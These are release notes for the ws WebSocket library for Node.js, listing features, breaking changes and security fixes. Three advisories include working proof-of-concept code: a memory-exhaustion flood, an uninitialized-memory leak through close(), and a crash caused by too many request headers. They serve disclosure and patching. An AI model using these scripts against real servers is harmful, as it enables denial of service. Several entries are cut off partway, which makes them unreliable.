Release Notes

websockets/ws (ws)

v8.21.1

Compare Source

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c).
• The default values of the maxBufferedChunks and maxFragments options have
  been reduced (f197ac6).

v8.21.0

Compare Source

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

v8.20.1

Compare Source

Bug fixes

• Fixed an uninitialized memory disclosure issue in websocket.close()
  (c0327ec).

Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

The issue was privately reported by Nikita Skovoroda.

v8.20.0

Compare Source

Features

• Added exports for the PerMessageDeflate class and utilities for the
  Sec-WebSocket-Extensions and Sec-WebSocket-Protocol headers (d3503c1).

v8.19.0

Compare Source

Features

• Added the closeTimeout option (#​2308).

Bug fixes

• Handled a forthcoming breaking change in Node.js core (1998485).

v8.18.3

Compare Source

Bug fixes

• Fixed a spec violation where the Sec-WebSocket-Version header was not added
  to the HTTP response if the client requested version was either invalid or
  unacceptable (#​2291).

v8.18.2

Compare Source

Bug fixes

• Fixed an issue that, during message decompression when the maximum size was
  exceeded, led to the emission of an inaccurate error and closure of the
  connection with an improper close code (#​2285).

v8.18.1

Compare Source

Bug fixes

• The length of the UNIX domain socket paths in the tests has been shortened to
  make them work when run via CITGM (021f7b8).

v8.18.0

Compare Source

Features

• Added support for Blob (#​2229).

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   --max-http-header-size=size and/or the maxHeaderSize options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

• Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Features

• Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

Compare Source

Bug fixes

• Added browser condition to package.json (#​2118).

  (42d79f6).

v8.11.0

Compare Source

Features

• WebSocket.prototype.addEventListener() now supports an event listener
  specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

  response is not a case-insensitive match for the value "websocket" (0fdcc0a).
• The Authorization and Cookie headers are no longer sent when following an
  insecure redirect (wss: to ws:) to the same host (d68ba9e).

v8.6.0

Features

• Added the ability to remove confidential headers on a per-redirect basis (#​2030).

v8.5.0

Compare Source

Features

  longer sent if the redirect host is different from the original host (#​2013).

v8.4.2

Compare Source

Bug fixes

• Fixed a data framing issue introduced in version 8.4.1 (#​2004).

v8.4.1

Compare Source

Notable changes

• To improve performance, strings sent via websocket.ping(),
  websocket.pong(), and websocket.send() are no longer converted to
  Buffers if the data does not need to be masked (#​2000).

v8.4.0

Compare Source

Features

• Added ability to generate custom masking keys (#​1990).

v8.3.0

  from being closed cleanly (869c989).

v8.2.0

Compare Source

Features

• Added WebSocket.WebSocket as an alias for WebSocket and
  WebSocket.WebSocketServer as an alias for WebSocket.Server to fix name
  consistency and improve interoperability with the ES module wrapper (#​1935).

v8.1.0

Compare Source

Features

• Added ability to skip UTF-8 validation (#​1928).

Bug fixes

• Fixed an issue with a breaking change in Node.js master (6a72da3).
• Fixed a misleading error message (c95e695).

v8.0.0

Compare Source

Breaking changes

• The WebSocket constructor now throws a SyntaxError if any of the
  subprotocol names are invalid or duplicated (0aecf0c).

• The server now aborts the opening handshake if an invalid
  Sec-WebSocket-Protocol header field value is received (1877dde).

• The protocols argument of handleProtocols hook is no longer an Array but
  a Set (1877dde).

• The opening handshake is now aborted if the Sec-WebSocket-Extensions header
  field value is empty or it begins or ends with a white space (e814110).

• Dropped support for Node.js < 10.0.0 (552b506).

• The WebSocket constructor now throws a SyntaxError if the connection URL
  contains a fragment identifier or if the URL's protocol is not one of 'ws:',
  'wss:', or 'ws+unix:' (ebea038).

• Text messages and close reasons are no longer decoded to strings. They are
  passed as Buffers to the listeners of their respective events. The listeners
  of the 'message' event now take a boolean argument specifying whether or not
  the message is binary (e173423).

  Existing code can be migrated by decoding the buffer explicitly.

  websocket.on('message', function message(data, isBinary) {
    const message = isBinary ? data : data.toString();
    // Continue as before.
  });
  
  websocket.on('close', function close(code, data) {
    const reason = data.toString();
    // Continue as before.
  });

• The package now uses an ES module wrapper (78adf5f).

• WebSocketServer.prototype.close() no longer closes existing connections
  (df7de57).

  Existing code can be migrated by closing the connections manually.

  websocketServer.close();
  for (const ws of websocketServer.clients) {
    ws.terminate();
  }

• The callback of WebSocketServer.prototype.close() is now called with an
  error if the server is already closed (abde9cf).

• WebSocket.prototype.addEventListener() is now a noop if the type argument
  is not one of 'close', 'error', 'message', or 'open' (9558ed1).

• WebSocket.prototype.removeEventListener() now only removes listeners added
  with WebSocket.prototype.addEventListener() and only one at time (ea95d9c).

• The value of the onclose, onerror, onmessage, and onopen properties is
  now null if the respective event handler is not set (6756cf5).

• The OpenEvent class has been removed (21e6500).

Bug fixes

• The event listeners added via handler properties are now independent from the
  event listeners added with WebSocket.prototype.addEventListener()
  (0b21c03).
